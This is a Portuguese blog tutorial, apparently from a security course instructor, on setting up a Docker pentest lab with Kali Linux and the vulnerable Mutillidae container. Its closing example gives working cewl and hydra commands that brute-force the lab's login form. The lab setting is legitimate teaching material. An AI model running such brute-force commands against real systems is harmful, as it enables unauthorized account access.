O Docker é uma plataforma open source que facilita a criação e administração de ambientes isolados. Ele possibilita o empacotamento de uma aplicação ou ambiente dentro de um container, se tornando portátil para qualquer outro host que contenha o Docker instalado.
Se você é meu aluno no curso Segurança em Aplicações WEB já sabe que existem várias distribuições linux preparadas para Pentest, dentre as principais e minhas prediletas estão:
- Kali Linux – https://www.kali.org/
- Parrot Security – https://parrotlinux.org/
Estas e outras distribuições com o mesmo intuito visam trazer uma série de ferramentas já preparadas para testes de segurança, e todas funcionam em modo LiveCD, ou seja, é possível executar a imagem diretamente de um disco ou pendrive. Porém, o LiveCD exige um esforço grande seja para gravação da ISO em um CD ou Pendrive, ou mesmo na criação de uma máquina virtual.
Se falamos de containers a única coisa necessária para a preparação do ambiente é a instalação do Docker, algo bem simples e fácil. Tendo o docker instalado e configurado podemos utilizar a imagem criada por nós, ou até fazer uso de uma imagem disponível no Docker HUB. Desta forma ganhamos tempo e portabilidade.
Para nosso container webpentest vamos utilizar algumas ferramentas ja conhecidas e para esse artigo vamos abordar somente ferramentas de uso via console.
Instalação
Para instalar o docker e o configurar sugiro seguir o passo a passo disponibilizado na documentação do mesmo. É bem simples, compatível com grande parte das distribuições Linux, bem como é totalmente compatível com o muito usado Janelas.
Clique aqui e acesse o tutorial de instalação do Docker.
Eu utilizo OpenSUSE, então vou utilizar ele como base para este artigo. Mas, saiba que o Docker funciona da mesma maneira em qualquer Sistema Operacional, fique despreocupado e utilize em sua distribuição linux ou mesmo no Windows e MAC.
Para instalar no OpenSUSE:
usuario@opensuse:~> sudo zypper se docker S | Nome | Resumo | Tipo –+——————————+————————————————————–+————- | docker | The Linux container runtime | pacote usuario@opensuse:~> sudo zypper in docker usuario@opensuse:~> sudo systemctl enable docker usuario@opensuse:~> sudo systemctl start docker usuario@opensuse:~> sudo docker info Client: Debug Mode: false Server: Containers: 5 Running: 1 Paused: 0 Stopped: 4 Images: 26 Server Version: 19.03.11 Storage Driver: btrfs Build Version: Btrfs v5.6.1 Library Version: 102 Logging Driver: json-file Cgroup Driver: cgroupfs Plugins: Volume: local Network: bridge host ipvlan macvlan null overlay Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog Swarm: inactive Runtimes: oci runc Default Runtime: runc Init Binary: docker-init containerd version: 7ad184331fa3e55e52b890ea95e65ba581ae3429 runc version: dc9208a3303feef5b3839f4323d9beb36df0a9dd init version: Security Options: apparmor seccomp Profile: default Kernel Version: 5.6.14-1-default Operating System: openSUSE Tumbleweed OSType: linux Architecture: x86_64 CPUs: 8 Total Memory: 15.55GiB Name: wolfgang ID: WC4U:GFR2:HYIG:LNCA:C2HO:45BD:MU5H:WW46:FLNP:6X5M:B24X:54A2 Docker Root Dir: /var/lib/docker Debug Mode: false Registry: https://index.docker.io/v1/ Labels: Experimental: false Insecure Registries: 127.0.0.0/8 Live Restore Enabled: false WARNING: No swap limit support
Se você conseguiu executar com sucesso as etapas anteriores, já instalou o docker. Vamos para a configuração do container.
Vamos utilizar o container disponibilizado pela OffSec, empresa responsável pela distribuição do Kali Linux.
Para isso, façamos:
usuario@opensuse:~> sudo docker pull kalilinux/kali-rolling usuario@opensuse:~> sudo docker run -t -i kalilinux/kali-rolling /bin/bash root@0129d62d2319:/# apt-get update && apt-get install hydra cewl metasploit-framework -y root@0129d62d2319:/# exit
Tendo executado os comandos teremos configurado o container docker, bem como atualizado o mesmo e instalado o MetaSploit e a ferramenta Cewl na máquina. O processo pode demorar um pouco, mas tenha fé, funcionará!
Feito isso, vamos configurar um segundo container, que utilizaremos como alvo de nossos testes.
usuario@opensuse:~> sudo docker run -d -p 80:80 citizenstig/nowasp
Feito isso, temos nosso ambiente preparado para nossos testes!
Exemplo BruteForce
Brute force é literalmente “força bruta”, termo utilizado para descrever um tipo de ataque onde força-se a entrada em algum sistema, site, servidor, aplicativo, etc. A técnica utilizada se dá através de sucessivas tentativas de acertar uma combinação de senha (uma chave), e assim conseguir acesso às informações e dados que deseja.
Imagine sua casa, existem duas forma de entrar, não é mesmo? Uma é a mais simples e óbvia, através da chave, onde se abre o portão e a porta, entrando de forma fácil. Essa ação é tomada por você e os demais que sejam autorizados a entrar em sua casa, ou seja, aqueles que têm a chave.
Outra forma é através de um arrombamento, empurrando o portão até que o mesmo caia, utilizando uma força bruta para abrir a passagem. Normalmente, esse método será utilizado por um bandido que pretende invadir sua residência.
Vamos criar uma wordlist com o Cewl para começar nosso teste.
usuario@opensuse:~> sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 44ce535cd097 citizenstig/nowasp "/run.sh" 19 minutes ago Up 19 minutes 0.0.0.0:80->80/tcp, 3306/tcp focused_burnell 1bff810ea695 kalilinux/kali-rolling "/bin/bash" 57 minutes ago Up 4 minutes unruffled_borg usuario@opensuse:~> sudo docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' unruffled_borg 172.17.0.3 usuario@opensuse:~> sudo docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' focused_burnell 172.17.0.4 usuario@opensuse:~> sudo docker exec -it nome_de_seu_container_kali_linux usuario@opensuse:~> sudo docker exec -it unruffled_borg cewl "172.17.0.4" -d 1 -w senhas.txt usuario@opensuse:~> sudo docker exec -it unruffled_borg hydra -l admin -P senhas.txt 172.17.0.4 http-post-form "/mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In"
Ao executar, teremos descoberto usuário e senha do sistema alvo!
Conclusão
A utilização de docker para nossos pentests é algo natual vista a evolução tecnológica que estamos percebendo com esta tecnologia. Assim sendo, torna-se muito útil conseguir utilizar ferramentas de pentests com esta ferramenta.
Este foi apenas um exemplo do que se pode fazer! Se interessa por segurança? Quer aprender mais? Aproveite e se inscreva em meu curso de Segurança em Aplicações WEB. Aproveite a promoção clicando aqui!